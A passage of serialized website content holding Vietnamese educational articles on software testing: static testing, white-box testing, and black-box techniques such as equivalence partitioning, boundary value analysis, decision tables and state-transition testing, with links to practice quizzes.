này có lợi thế là có thể thực hiện kiểm thử rộng rãi, nhưng có nhược điểm là việc giải thích danh sách kiểm tra có thể khác nhau giữa các người kiểm thử, dẫn đến sự khác biệt trong cách thực hiện kiểm thử. Hơn nữa, vì kiểm thử khó có thể tái hiện lại, cần phải cẩn trọng khi áp dụng phương pháp này.",[11,14151,14152],{},[20,14153,14154],{},"※Bài test luyện tập:",[11,14156,14157],{},[58,14158,14159],{"href":14159,"rel":14160},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-9-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":14162},[],"2025-01-24","①Kiểm thử hộp trắng (White box Testing) Kiểm thử hộp trắng là một phương pháp kiểm thử được thực hiện dựa trên cấu trúc bên trong của hệ thống hoặc mã nguồn. Phương pháp này có thể được áp dụng ở mọi cấp độ kiểm thử, nhưng thường được sử dụng nhiều nhất trong kiểm thử thành phần (component testing), tập trung vào hai kỹ thuật dựa vào mã nguồn. Các kỹ thuật này phân loại dựa trên yếu tố chi tiết chú trọng trong mã nguồn.",{},"\u002Fvi\u002Fnews\u002Fkiem-thu-hop-trang-va-kiem-thu-dua-tren-kinh-nghiem",{"title":13965,"description":14164},"vi\u002Fnews\u002Fkiem-thu-hop-trang-va-kiem-thu-dua-tren-kinh-nghiem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F01\u002F20160610\u002FScreenshot-2025-01-20-160540.png","8xCLvzdDDY-yEoGD4SMS16mZq68SwCW6Y68bJCBX4sk",{"id":14172,"title":14173,"body":14174,"category":356,"created by":70,"date":14364,"description":14365,"extension":72,"meta":14366,"navigation":74,"path":14367,"sections":76,"seo":14368,"stem":14369,"thumbnail":14370,"__hash__":14371},"content_vi\u002Fvi\u002Fnews\u002Fkien-thuc-co-ban-ve-kiem-thu-tinh.md","Kiến thức cơ bản về Kiểm thử tĩnh",{"type":8,"value":14175,"toc":14361},[14176,14179,14182,14185,14188,14191,14196,14199,14224,14227,14230,14233,14238,14241,14244,14247,14250,14273,14276,14281,14284,14287,14290,14317,14321,14344,14347,14350,14355],[11,14177,14178],{},"Khi nói đến kiểm thử, thông thường người ta nghĩ rằng đó là quá trình thực thi phần mềm và kiểm tra kết quả. Tuy nhiên, trên thực tế, kiểm thử còn bao gồm các công việc như review các sản phẩm đầu ra như yêu cầu, câu chuyện người dùng, mã nguồn hoặc phân tích tĩnh mã nguồn.",[11,14180,14181],{},"Để phân biệt rõ ràng các loại kiểm thử này, quá trình kiểm thử thông thường khi thực thi phần mềm và kiểm tra kết quả được gọi là \"kiểm thử động\", trong khi review và phân tích tĩnh được gọi là \"kiểm thử tĩnh\".",[11,14183,14184],{},"Dưới đây là giải thích cơ bản về kiểm thử tĩnh. Khác với kiểm thử động, kiểm thử tĩnh không yêu cầu chạy code hoặc xác nhận hoạt động của nó. Cụ thể, có hai phương pháp là \"review\", nơi con người kiểm tra nội dung của sản phẩm đầu ra, và \"phân tích tĩnh\", sử dụng các công cụ để phân tích và đánh giá mã nguồn hoặc sản phẩm đầu ra. Điểm đặc trưng là cả hai phương pháp này đều không cần chạy code thực tế để đánh giá.",[11,14186,14187],{},"Kiểm thử tĩnh được ứng dụng rộng rãi không chỉ trong các hệ thống yêu cầu độ an toàn cao như cơ sở hạ tầng xã hội, giao thông và y tế mà còn trong nhiều lĩnh vực khác nhau. Ví dụ, không chỉ giới hạn trong phát triển phần mềm, phương pháp \"xác nhận mà không cần thao tác đối tượng\" còn xuất hiện gần gũi trong cuộc sống hàng ngày.",[11,14189,14190],{},"Một ví dụ quen thuộc là việc chuẩn bị chuyển nhà. Khi chuyển nhà, bạn cần chuẩn bị trước nhiều việc như làm thủ tục với cơ quan hành chính, thay đổi dịch vụ tiện ích sinh hoạt và liên hệ với công ty chuyển nhà. Trong quá trình này, nếu bạn sử dụng danh sách kiểm tra (checklist), bạn có thể đảm bảo không bỏ sót những việc cần làm. Hơn nữa, nếu lập danh sách với sự tư vấn từ người có kinh nghiệm chuyển nhà, bạn có thể chuẩn bị hiệu quả hơn rất nhiều.",[11,14192,14193],{},[20,14194,14195],{},"Các sản phẩm đầu ra có thể được kiểm tra bằng kiểm thử tĩnh",[11,14197,14198],{},"Trong quá trình phát triển phần mềm, mọi sản phẩm đầu ra đều có thể trở thành đối tượng của kiểm thử tĩnh (bao gồm review hoặc phân tích tĩnh, hoặc cả hai). Dưới đây là một số ví dụ về các đối tượng của kiểm thử tĩnh:",[31,14200,14201,14204,14207,14210,14213,14216,14218,14221],{},[34,14202,14203],{},"Tài liệu đặc tả (yêu cầu kinh doanh, yêu cầu chức năng, yêu cầu bảo mật, v.v.)",[34,14205,14206],{},"Epic, câu chuyện người dùng, tiêu chí chấp nhận",[34,14208,14209],{},"Kiến trúc và tài liệu thiết kế",[34,14211,14212],{},"Mã nguồn (code)",[34,14214,14215],{},"Tài liệu liên quan đến kiểm thử (kế hoạch kiểm thử, trường hợp kiểm thử, quy trình kiểm thử, kịch bản kiểm thử tự động, v.v.)",[34,14217,12050],{},[34,14219,14220],{},"Trang web",[34,14222,14223],{},"Kế hoạch dự án, lịch trình, ngân sách",[11,14225,14226],{},"Như các ví dụ trên, mọi sản phẩm đầu ra mà con người có thể đọc và hiểu được hoặc các công cụ có thể phân tích để phát hiện mâu thuẫn hoặc lỗi đều là đối tượng của kiểm thử tĩnh.",[11,14228,14229],{},"Việc review tập trung vào các sản phẩm đầu ra mà con người có thể đọc hiểu được, chẳng hạn như tài liệu đặc tả, kế hoạch hoặc hướng dẫn sử dụng. Trong khi đó, phân tích tĩnh áp dụng cho các sản phẩm đầu ra có cấu trúc hình thức, chẳng hạn như mã nguồn hoặc mô hình, sử dụng công cụ để đánh giá hiệu quả. Ví dụ, phân tích tĩnh có thể kiểm tra mã nguồn dựa trên quy ước lập trình để giảm thiểu lỗi.",[11,14231,14232],{},"Ngoài ra, các tài liệu được viết bằng ngôn ngữ tự nhiên như tài liệu thiết kế cũng có thể được phân tích bằng cách sử dụng nhận diện ngôn ngữ hoặc phân tích cú pháp để phát hiện lỗi chính tả, ngữ pháp và các biểu đạt mơ hồ.",[11,14234,14235],{},[20,14236,14237],{},"Lợi ích của kiểm thử tĩnh",[11,14239,14240],{},"Kiểm thử tĩnh có thể được thực hiện ở nhiều giai đoạn khác nhau trong vòng đời phát triển phần mềm. Đặc biệt, các hoạt động review và phân tích tĩnh được thực hiện trước kiểm thử động rất hiệu quả vì giúp phát hiện lỗi ngay từ giai đoạn đầu. Các lỗi được phát hiện ở giai đoạn này thường dễ dàng tìm ra giải pháp khắc phục và có thể xử lý với chi phí thấp.",[11,14242,14243],{},"Ngược lại, các lỗi được phát hiện ở giai đoạn sau của vòng đời thông qua kiểm thử động thường xảy ra trong các điều kiện phức tạp, khiến việc xác định nguyên nhân và sửa chữa trở nên khó khăn hơn. Thêm vào đó, kiểm thử động yêu cầu phải xây dựng môi trường kiểm thử và triển khai các thành phần cần kiểm tra, do đó tốn nhiều công sức chuẩn bị hơn so với kiểm thử tĩnh.",[11,14245,14246],{},"Với kiểm thử tĩnh, việc phát hiện lỗi không cần thực thi mã mà chỉ cần các sản phẩm đầu ra đã được tài liệu hóa. Điều này giúp kiểm thử tĩnh có thể xác định lỗi sớm và hiệu quả ngay từ những giai đoạn đầu của dự án.",[11,14248,14249],{},"Những lợi ích chính của kiểm thử tĩnh:",[31,14251,14252,14255,14258,14261,14264,14267,14270],{},[34,14253,14254],{},"Phát hiện và sửa lỗi hiệu quả trước khi kiểm thử động",[34,14256,14257],{},"Phát hiện các lỗi khó tìm thấy bằng kiểm thử động",[34,14259,14260],{},"Ngăn chặn lỗi từ giai đoạn yêu cầu và thiết kế, làm rõ các mâu thuẫn, sự mơ hồ, thiếu sót, không chính xác, hoặc dư thừa trong yêu cầu",[34,14262,14263],{},"Cải thiện thiết kế và khả năng bảo trì",[34,14265,14266],{},"Giảm chi phí và thời gian phát triển",[34,14268,14269],{},"Tăng cường giao tiếp giữa các thành viên trong nhóm",[34,14271,14272],{},"Yếu tố cần thiết để tăng hiệu quả kiểm thử tĩnh",[11,14274,14275],{},"Để tăng hiệu quả kiểm thử tĩnh, cần hiểu rõ cấu trúc bên trong của phần mềm để thực hiện các đánh giá hiệu quả hơn, giúp xác định nhiều lỗi hơn. Tuy nhiên, kết quả của việc review phụ thuộc vào kiến thức của người tham gia và các công cụ hỗ trợ như danh sách kiểm tra hoặc kinh nghiệm thực tế. Việc lựa chọn người kiểm tra có kinh nghiệm và sử dụng các danh sách kiểm tra (checklist) được xây dựng dựa trên cơ sở tri thức (knowledge base) là cách hiệu quả để tối ưu hóa quy trình kiểm thử tĩnh.",[11,14277,14278],{},[20,14279,14280],{},"Sự khác biệt giữa kiểm thử tĩnh và kiểm thử động",[11,14282,14283],{},"Kiểm thử tĩnh và kiểm thử động đều nhằm mục đích đánh giá chất lượng sản phẩm đầu ra và xác định sớm các lỗi. Tuy nhiên, mỗi phương pháp lại tập trung vào các loại lỗi khác nhau và có thể bổ sung lẫn nhau để tối ưu hóa hiệu quả.",[11,14285,14286],{},"Để làm rõ sự khác biệt, hãy xem xét một ví dụ: trong thiết kế máy móc chính xác, khoảng hở gọi là \"backlash\" (khe hở bánh răng) là yếu tố cần thiết. Nếu một kỹ sư thiết kế không biết về backlash và tạo ra bản vẽ không có khe hở, máy móc sẽ không thể hoạt động. Tuy nhiên, nếu người xem xét bản vẽ nhận ra lỗi này nhờ kiến thức về backlash, họ có thể chỉ ra sai sót. Đây là ví dụ của việc phát hiện lỗi qua kiểm thử tĩnh. Ngược lại, để xác định lượng backlash tối ưu, cần vận hành thực tế máy móc để kiểm tra. Đây là ví dụ về việc phát hiện sự cố qua kiểm thử động.",[11,14288,14289],{},"Đặc điểm chính của kiểm thử tĩnh và kiểm thử động.",[31,14291,14292,14306],{},[34,14293,14294,14295],{},"Kiểm thử tĩnh:",[31,14296,14297,14300,14303],{},[34,14298,14299],{},"Nhằm trực tiếp phát hiện lỗi trong sản phẩm đầu ra như tài liệu, thiết kế, hoặc mã nguồn mà không cần thực thi phần mềm",[34,14301,14302],{},"Hiệu quả hơn về chi phí trong việc phát hiện lỗi so với kiểm thử động.",[34,14304,14305],{},"Giúp nhận diện các lỗi logic, mâu thuẫn, hoặc sai sót trong giai đoạn đầu mà không cần điều kiện thực thi cụ thể.",[34,14307,14308,14309],{},"Kiểm thử động:",[31,14310,14311,14314],{},[34,14312,14313],{},"Thích hợp để kiểm tra hiệu suất, độ ổn định, và hành vi thực tế của phần mềm trong các kịch bản thực thi.",[34,14315,14316],{},"Thông qua các cử động thực tế để kiểm chứng hành vi từ bên ngoài",[657,14318,14320],{"id":14319},"các-lỗi-dễ-phát-hiện-trong-kiểm-thử-tĩnh","Các lỗi dễ phát hiện trong kiểm thử tĩnh",[31,14322,14323,14326,14329,14332,14335,14338,14341],{},[34,14324,14325],{},"Lỗi yêu cầu: mâu thuẫn, mơ hồ, sự thiếu sót, không chính xác, dư thừa trong yêu cầu ",[34,14327,14328],{},"Lỗi thiết kế: thuật toán không hiệu quả, kết nối cao, kết hợp thấp",[34,14330,14331],{},"Lỗi mã nguồn: biến chưa được định nghĩa hoặc không sử dụng, mã không thể đạt tới, mã trùng lặp",[34,14333,14334],{},"Lệch chuẩn: vi phạm quy tắc mã hóa",[34,14336,14337],{},"Lỗi giao diện: sử dụng đơn vị khác nhau giữa các hệ thống",[34,14339,14340],{},"Lỗ hổng bảo mật: tràn bộ đệm, v.v.",[34,14342,14343],{},"Thiếu sót trong cơ sở kiểm thử: thiếu test case đối với các tiêu chí chấp nhận",[11,14345,14346],{},"Những lỗi này có thể được phát hiện sớm thông qua kiểm thử tĩnh, giúp giảm đáng kể chi phí sửa chữa trong giai đoạn phát triển muộn hoặc khi triển khai vào môi trường sản xuất. Hơn nữa, kiểm thử tĩnh cũng rất hữu ích trong việc tái sử dụng phần mềm và cải thiện tính bảo trì. Việc kiểm tra tính hợp lý của mô-đun hóa và đảm bảo rằng không có lỗi mới bị đưa vào khi tái sử dụng phần mềm là công việc chủ yếu của kiểm thử tĩnh.",[11,14348,14349],{},"Kết hợp kiểm thử tĩnh và kiểm thử động giúp cải thiện chất lượng phần mềm và đồng thời giảm chi phí.Khi nói đến kiểm thử, thông thường người ta nghĩ rằng đó là quá trình thực thi phần mềm và kiểm tra kết quả. Tuy nhiên, trên thực tế, kiểm thử còn bao gồm các công việc như review các sản phẩm đầu ra như yêu cầu, câu chuyện người dùng, mã nguồn hoặc phân tích tĩnh mã nguồn.",[11,14351,14352],{},[20,14353,14354],{},"※Bài tập kiểm tra:",[11,14356,14357],{},[58,14358,14359],{"href":14359,"rel":14360},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-7-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":14362},[14363],{"id":14319,"depth":1417,"text":14320},"2025-01-09","Khi nói đến kiểm thử, thông thường người ta nghĩ rằng đó là quá trình thực thi phần mềm và kiểm tra kết quả. Tuy nhiên, trên thực tế, kiểm thử còn bao gồm các công việc như review các sản phẩm đầu ra như yêu cầu, câu chuyện người dùng, mã nguồn hoặc phân tích tĩnh mã nguồn. Để phân biệt rõ ràng các loại kiểm thử này, quá trình kiểm thử thông thường khi thực thi phần mềm và kiểm tra kết quả được gọi là \"kiểm thử động\", trong khi review và phân tích tĩnh được gọi là \"kiểm thử tĩnh\".",{},"\u002Fvi\u002Fnews\u002Fkien-thuc-co-ban-ve-kiem-thu-tinh",{"title":14173,"description":14365},"vi\u002Fnews\u002Fkien-thuc-co-ban-ve-kiem-thu-tinh","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F01\u002F02173310\u002FScreenshot-2025-01-02-140214.png","aqeTACvbvMhZhLrf-dpJCh-slhIkx7rLjmq4ELO02P0",{"id":14373,"title":14374,"body":14375,"category":356,"created by":70,"date":14719,"description":14379,"extension":72,"meta":14720,"navigation":74,"path":14721,"sections":76,"seo":14722,"stem":14723,"thumbnail":14724,"__hash__":14725},"content_vi\u002Fvi\u002Fnews\u002Fky-thuat-kiem-thu-hop-den.md","KỸ THUẬT KIỂM THỬ HỘP ĐEN",{"type":8,"value":14376,"toc":14717},[14377,14380,14383,14386,14391,14394,14397,14402,14405,14408,14411,14414,14417,14422,14425,14430,14433,14436,14439,14442,14447,14450,14455,14458,14472,14475,14486,14489,14494,14497,14517,14520,14537,14540,14543,14548,14551,14554,14557,14582,14585,14590,14593,14601,14604,14609,14612,14617,14620,14623,14628,14631,14636,14639,14647,14650,14655,14658,14675,14678,14686,14692,14695,14698,14701,14704,14707,14711],[11,14378,14379],{},"Kiểm thử hộp đen là phương pháp kiểm thử phần mềm mà không cần xem xét cấu trúc bên trong hay cách hoạt động của mã nguồn. Phương pháp này kiểm tra hoạt động của hệ thống từ bên ngoài bằng cách cung cấp các đầu vào cho ứng dụng hoặc hệ thống và xác minh xem đầu ra có đúng như mong đợi hay không. Chủ yếu dựa trên tài liệu yêu cầu hoặc thiết kế, với mục tiêu đảm bảo rằng hệ thống đáp ứng đầy đủ các yêu cầu đã được đưa ra.",[11,14381,14382],{},"Ưu điểm lớn của phương pháp này là không cần phải biết cấu trúc bên trong của phần mềm. Vì vậy, người thực hiện kiểm thử không cần phải là nhà phát triển, miễn là họ hiểu được tài liệu yêu cầu. Tuy nhiên, nhược điểm là khó phát hiện được các vấn đề liên quan đến logic bên trong. Hơn nữa, việc kiểm tra toàn bộ các trường hợp đầu vào là không thể, do đó thường chỉ kiểm tra được trong một số trường hợp giới hạn.",[11,14384,14385],{},"Dưới đây là các kỹ thuật của kiểm thử hộp đen.",[11,14387,14388],{},[20,14389,14390],{},"① Phương pháp Phân vùng tương đương",[11,14392,14393],{},"Phương pháp phân vùng tương đương là kỹ thuật chia dữ liệu đầu vào của hệ thống hoặc phần mềm thành các phân vùng mà trong đó kỳ vọng rằng cùng một xử lý sẽ được thực hiện. Dữ liệu trong mỗi phân vùng được xử lý giống nhau bởi hệ thống, do đó chúng được coi là tương đương.",[11,14395,14396],{},"Với phương pháp này, một dữ liệu đại diện trong mỗi phân vùng được chọn để tiến hành kiểm thử. Kết quả kiểm thử của dữ liệu đại diện này được coi là kết quả của tất cả các dữ liệu khác trong cùng một phân vùng, giúp kiểm thử được thực hiện một cách hiệu quả.",[11,14398,14399],{},[20,14400,14401],{},"Phân vùng tương đương",[11,14403,14404],{},"Trong phương pháp phân vùng tương đương, khi phân loại dữ liệu, tất cả các dữ liệu đều phải thuộc về một phân vùng đồng giá trị nhất định. Phân vùng này bao gồm \"phân vùng tương đương hợp lệ\" chứa dữ liệu hợp lệ mà hệ thống có thể chấp nhận, và \"phân vùng tương đương không hợp lệ\" chứa dữ liệu bị hệ thống từ chối.",[11,14406,14407],{},"Phân vùng đồng giá trị không chỉ áp dụng cho dữ liệu đầu vào mà còn áp dụng cho dữ liệu đầu ra. Ví dụ, khi bạn tìm kiếm từ khóa \"kiểm thử phần mềm\" trên một trang tìm kiếm internet, nếu có nhiều kết quả, các kết quả tìm kiếm sẽ được chia thành nhiều trang. Ngược lại, nếu số lượng kết quả ít hoặc không có kết quả, liên kết \"Tiếp theo\" sẽ không hiển thị. Dữ liệu đầu ra trong trường hợp này có thể được phân chia thành các phân vùng như: \"không có kết quả\", \"kết quả nằm trong một trang\", và \"kết quả trải dài trên nhiều trang\".",[11,14409,14410],{},"Ngoài ra, phân vùng tương đương cũng tồn tại trong các dữ liệu phụ thuộc vào biến nội bộ hoặc thời gian. Chẳng hạn, dựa trên các sự kiện như trước và sau khi lưu tài liệu, ta có thể xem xét các phân vùng khác nhau.",[11,14412,14413],{},"Phân vùng đồng giá trị có thể được chia nhỏ hơn nữa khi cần thiết.",[11,14415,14416],{},"Phương pháp phân vùng tương đương có thể được sử dụng để đạt được mục tiêu bao phủ (coverage) cho đầu vào và đầu ra. Trong trường hợp này, bao phủ được xác định dựa trên các phân vùng tương đương. Để đạt được 100% bao phủ, cần thiết kế các trường hợp kiểm thử để bao quát tất cả các phân vùng đã được phân loại. Cụ thể, mỗi phân vùng đồng giá trị hợp lệ và không hợp lệ cần ít nhất một dữ liệu được chọn để thực hiện kiểm thử.",[11,14418,14419,64],{},[20,14420,14421],{},"② Phương pháp Phân tích giá trị biên",[11,14423,14424],{},"Trong các phân vùng tương đương giá trị dựa trên số liệu hoặc giá trị được sắp xếp theo thứ tự, việc kiểm thử với các giá trị nằm tại ranh giới có thể giúp phát hiện dễ dàng các lỗi trong hệ thống hoặc phần mềm. Điều này là do các lỗi thường xuất hiện ở gần các ranh giới. Hiện tượng này khá phổ biến và cho đến nay, việc kiểm thử nhắm vào các giá trị biên vẫn được sử dụng như một phương pháp hiệu quả để thực hiện kiểm thử.",[11,14426,14427],{},[20,14428,14429],{},"Giá trị biên",[11,14431,14432],{},"Giá trị biên là các giá trị nằm ở ranh giới của phân vùng tương đương. Chúng ta cùng xem xét một ví dụ về việc phân tích giá trị biên và thiết kế các trường hợp kiểm thử dựa trên đặc tả sau đây:",[11,14434,14435],{},"Đặc tả: Nhập tuổi, nếu là nữ và tuổi từ 20 đến 34 (bao gồm cả 20 và 34), thì hiển thị \"Tầng F1\".",[11,14437,14438],{},"Trong trường hợp này, chúng ta thực hiện phân tích giá trị biên và giả định rằng chỉ có thể nhập giá trị tuổi, các đầu vào không phải số sẽ không được chấp nhận.",[11,14440,14441],{},"Thoạt nhìn, phạm vi số tuổi từ 20 đến 34 dường như không có vấn đề gì khi kiểm tra trên số tuyến tính. Tuy nhiên, cần lưu ý trong cách hiểu của dải giá trị này. Nếu chỉ sử dụng trực tiếp các giá trị 20 và 34 như đã nêu trong đặc tả, có khả năng chúng ta chưa hoàn toàn nhận thức được khái niệm \"giá trị biên\" là các giá trị nằm ở ranh giới của phân vùng đồng giá trị.",[11,14443,14444],{},[20,14445,14446],{},"Các trường hợp kiểm thử phân tích giá trị biên",[11,14448,14449],{},"Phân tích giá trị biên được sử dụng như một sự mở rộng của phương pháp phân vùng tương đương. Khi thiết kế các trường hợp kiểm thử bằng phương pháp phân tích giá trị biên, có thể có nhiều cách tiếp cận khác nhau, tùy thuộc vào cách giải thích \"giá trị biên là giá trị nằm ở ranh giới của phân vùng tương đương\".",[11,14451,14452],{},[20,14453,14454],{},"▫ Phương pháp phân tích giá trị biên với 2 điểm",[11,14456,14457],{},"Phương pháp phân tích giá trị biên chú trọng vào các phân vùng hợp lệ. Ví dụ, nếu đặc tả là \"từ 20 tuổi trở lên đến 34 tuổi trở xuống\", các giá trị cần kiểm thử sẽ là 4 giá trị sau:",[31,14459,14460,14463,14466,14469],{},[34,14461,14462],{},"Giá trị tối thiểu trong phạm vi hợp lệ: 20 tuổi",[34,14464,14465],{},"Giá trị tối đa trong phạm vi hợp lệ: 34 tuổi",[34,14467,14468],{},"Giá trị nhỏ hơn phạm vi hợp lệ (giá trị tối thiểu - 1): 19 tuổi",[34,14470,14471],{},"Giá trị lớn hơn phạm vi hợp lệ (giá trị tối đa + 1): 35 tuổi",[11,14473,14474],{},"Ngoài ra, khi chú ý đến phân vùng không hợp lệ, phạm vi là \"từ 0 tuổi trở lên đến dưới 20 tuổi\". Các giá trị cần kiểm thử sẽ như sau:",[31,14476,14477,14480,14483],{},[34,14478,14479],{},"Giá trị nhỏ hơn phạm vi không hợp lệ (giá trị tối thiểu - 1): -1 tuổi (dữ liệu không hợp lệ)",[34,14481,14482],{},"Giá trị tối thiểu trong phạm vi hợp lệ: 0 tuổi",[34,14484,14485],{},"Giá trị lớn hơn phạm vi không hợp lệ (giá trị tối đa + 1): 20 tuổi",[11,14487,14488],{},"Do sự trùng lặp giữa các ranh giới của giá trị hợp lệ và không hợp lệ, số lượng trường hợp kiểm thử thực tế sẽ ít hơn. Vì vậy, khi tính toán số trường hợp kiểm thử, cần xem xét sự trùng lặp của các ranh giới của các phân vùng đồng giá trị liên tiếp.",[11,14490,14491],{},[20,14492,14493],{},"▫ Phương pháp phân tích giá trị biên với 3 điểm",[11,14495,14496],{},"Phương pháp phân tích giá trị biên với 3 điểm mở rộng thêm các giá trị trước và sau các giá trị biên. Ví dụ, đối với phạm vi hợp lệ từ 20 tuổi trở lên đến 34 tuổi trở xuống, chúng ta sẽ chọn 6 giá trị sau làm các trường hợp kiểm thử:",[31,14498,14499,14502,14505,14508,14511,14514],{},[34,14500,14501],{},"19 tuổi (giá trị nhỏ hơn 1 so với giá trị biên)",[34,14503,14504],{},"20 tuổi (giá trị biên)",[34,14506,14507],{},"21 tuổi (giá trị lớn hơn 1 so với giá trị biên)",[34,14509,14510],{},"33 tuổi (giá trị nhỏ hơn 1 so với giá trị biên)",[34,14512,14513],{},"34 tuổi (giá trị biên)",[34,14515,14516],{},"35 tuổi (giá trị lớn hơn 1 so với giá trị biên)",[11,14518,14519],{},"Cũng đối với phân vùng không hợp lệ, chúng ta thực hiện phân tích giá trị biên 3 điểm. Ví dụ, đối với phạm vi \"từ 0 tuổi trở lên đến dưới 20 tuổi\", chúng ta sẽ chọn 5 giá trị sau làm các trường hợp kiểm thử:",[31,14521,14522,14525,14528,14531,14534],{},[34,14523,14524],{},"-1 tuổi (không hợp lệ)",[34,14526,14527],{},"0 tuổi (giá trị tối thiểu trong phạm vi hợp lệ)",[34,14529,14530],{},"1 tuổi (trong phạm vi hợp lệ)",[34,14532,14533],{},"19 tuổi (giá trị trước biên giới)",[34,14535,14536],{},"20 tuổi (giá trị tối đa trong phạm vi hợp lệ)",[11,14538,14539],{},"Trong trường hợp này, do có sự trùng lặp giữa các giá trị biên, số lượng trường hợp kiểm thử sẽ giảm nhẹ. Mặc dù sử dụng phương pháp phân tích giá trị biên với 3 điểm, nhưng không thể tránh được sự trùng lặp giữa các giá trị biên liền kề, do đó số lượng trường hợp kiểm thử cuối cùng vẫn sẽ ít hơn.",[11,14541,14542],{},"Như vậy, trong phân tích giá trị biên, khi thiết kế các trường hợp kiểm thử, việc lựa chọn các giá trị biên và các giá trị liền kề cùng với việc xem xét sự trùng lặp sẽ giúp kiểm thử được thực hiện hiệu quả hơn.",[11,14544,14545],{},[20,14546,14547],{},"③ Kiểm thử bảng quyết định (Decision Table Test)",[11,14549,14550],{},"Bảng quyết định là bảng tóm tắt các hành động và kết quả đầu ra tương ứng với các kết hợp dữ liệu đầu vào và điều kiện đầu vào. Bảng này rất hữu ích trong việc tổ chức và làm rõ các nghiệp vụ kinh doanh hoặc logic phức tạp. Kiểm thử bảng quyết định là phương pháp thiết kế kiểm thử sử dụng bảng quyết định.",[11,14552,14553],{},"Khi có nhiều điều kiện chồng chéo nhau, việc hiểu được kết hợp các điều kiện nào tương ứng với hành động hoặc kết quả nào sẽ trở nên khó khăn. Để giúp tổ chức và trình bày những kết hợp này một cách rõ ràng, bảng quyết định được sử dụng.",[11,14555,14556],{},"Bảng quyết định ghi lại các điều kiện và hành động, hai mục khác nhau, trong cùng một bảng, vì vậy bảng có cấu trúc như sau.",[31,14558,14559,14562,14565],{},[34,14560,14561],{},"Danh sách điều kiện (Phần mô tả điều kiện) Phần này ghi lại các điều kiện đầu vào hoặc dữ liệu đầu vào. Ví dụ như \"Từ 20 tuổi trở lên\" hoặc \"Tên khách hàng\".",[34,14563,14564],{},"Danh sách kết quả (Phần mô tả hành động) Phần này ghi lại các hành động hoặc kết quả xử lý thực thi dựa trên điều kiện. Ví dụ như \"Hiển thị “Tầng F1”\".",[34,14566,14567,14568],{},"Kết hợp các điều kiện (Phần chỉ định điều kiện) Phần này ghi lại các kết hợp kết quả đánh giá của điều kiện. Thường thì kết quả đánh giá được biểu thị bằng \"Đúng\" (True) hoặc \"Sai\" (False). Các cách mô tả có thể bao gồm:",[31,14569,14570,14573,14576,14579],{},[34,14571,14572],{},"Đúng, Sai",[34,14574,14575],{},"Y, N",[34,14577,14578],{},"T, F",[34,14580,14581],{},"1, 0",[11,14583,14584],{},"Nếu giá trị của điều kiện không ảnh hưởng đến việc đánh giá, có thể được biểu thị bằng \"-\" hoặc \"N\u002FA\". Trong một số điều kiện cụ thể, có thể sử dụng giá trị cụ thể thay vì giá trị boolean.",[31,14586,14587],{},[34,14588,14589],{},"Kết quả tương ứng với các kết hợp (Phần chỉ định hành động)",[11,14591,14592],{},"Phần này ghi lại kết quả hành động tương ứng với các kết hợp điều kiện. Các cách biểu diễn kết quả hành động có thể bao gồm:",[31,14594,14595,14598],{},[34,14596,14597],{},"Biểu thị bằng đúng và sai",[34,14599,14600],{},"Biểu thị bằng \"X\" và để trống 　　",[11,14602,14603],{},"Nếu không có hành động xảy ra, có thể được biểu thị bằng một ô trống. Tùy thuộc vào hành động, có thể không sử dụng giá trị boolean hay \"X\", mà thay vào đó là giá trị cụ thể riêng biệt.",[31,14605,14606],{},[34,14607,14608],{},"Quy tắc Các cột trong bảng quyết định được biểu thị là \"Quy tắc\". Đây là sự kết hợp giữa các điều kiện và kết quả hành động tương ứng.",[11,14610,14611],{},"Bảng quyết định thường được cho là chỉ sử dụng trong các hệ thống xử lý nghiệp vụ (hệ thống doanh nghiệp), nhưng thực tế, nó có thể được áp dụng rộng rãi trong tất cả các hệ thống, không phân biệt giữa hệ thống doanh nghiệp hay hệ thống nhúng, nếu logic của hệ thống phức tạp.",[11,14613,14614],{},[20,14615,14616],{},"④ Kiểm thử chuyển trạng thái (State Transition Test)",[11,14618,14619],{},"Trong kiểm thử phần mềm thông thường, các trường hợp kiểm thử được tạo ra với giả định rằng đầu vào giống nhau sẽ cho ra kết quả đầu ra giống nhau. Tuy nhiên, trong một số trường hợp, hành vi của hệ thống có thể thay đổi tùy thuộc vào trạng thái hiện tại hoặc lịch sử trước đó, và kết quả có thể khác nhau mặc dù dữ liệu đầu vào giống nhau.",[11,14621,14622],{},"Hơn nữa, việc thay đổi trạng thái có nghĩa là một hành động nào đó đã được thực hiện trong hệ thống. Khi hệ thống có hành vi khác nhau tùy thuộc vào trạng thái, cần phải tạo ra các trường hợp kiểm thử xem xét trạng thái đó. Phương pháp kiểm thử được sử dụng trong các trường hợp như vậy là \"Kiểm thử chuyển trạng thái\".",[11,14624,14625],{},[20,14626,14627],{},"Sơ đồ chuyển trạng thái",[11,14629,14630],{},"Hệ thống có nhiều trạng thái khác nhau, và sơ đồ chuyển trạng thái là một biểu đồ thể hiện sự chuyển đổi giữa các trạng thái này. Sơ đồ này biểu diễn trực quan các chuyển trạng thái hợp lệ.",[11,14632,14633],{},[20,14634,14635],{},"Bảng chuyển trạng thái",[11,14637,14638],{},"Bảng chuyển trạng thái là một bảng ma trận thể hiện mối quan hệ giữa các trạng thái và các sự kiện. Trong các ô giao nhau của bảng, trạng thái sau khi sự kiện xảy ra được ghi rõ. Các đặc điểm của bảng chuyển trạng thái bao gồm:",[31,14640,14641,14644],{},[34,14642,14643],{},"Có thể tổ chức tất cả các kết hợp giữa trạng thái và sự kiện mà không bỏ sót.",[34,14645,14646],{},"Có thể làm rõ các kết hợp không hợp lệ.",[11,14648,14649],{},"Việc tạo bảng chuyển trạng thái giúp xác định các mâu thuẫn và thiếu sót trong yêu cầu hệ thống. Điểm khác biệt với sơ đồ chuyển trạng thái là bảng chuyển trạng thái sẽ xem xét cả chuyển trạng thái hợp lệ và không hợp lệ.",[11,14651,14652],{},[20,14653,14654],{},"Kiểm thử chuyển trạng thái",[11,14656,14657],{},"Trong kiểm thử chuyển trạng thái, các trường hợp kiểm thử được thiết kế dựa trên sơ đồ chuyển trạng thái hoặc bảng chuyển trạng thái. Các trường hợp kiểm thử được thiết kế sẽ khác nhau tùy theo tiêu chuẩn bao phủ. Các phương pháp thiết kế phổ biến bao 